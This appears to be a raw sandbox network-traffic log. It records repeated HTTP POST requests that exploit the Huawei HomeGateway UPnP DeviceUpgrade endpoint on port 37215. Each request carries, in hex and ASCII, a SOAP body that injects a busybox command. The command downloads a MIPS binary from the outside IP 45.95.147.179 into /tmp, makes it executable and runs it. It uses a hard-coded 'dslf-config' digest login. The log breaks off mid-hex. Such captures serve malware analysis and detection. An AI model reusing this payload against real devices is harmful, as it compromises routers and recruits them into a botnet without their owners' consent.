61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:51.612550974 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:59.436623096 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:15.084656954 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:46.412738085 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.20	47074	156.247.26.245	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:45.267905951 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:46.744633913 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:48.524735928 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:52.084575891 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:59.212599039 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 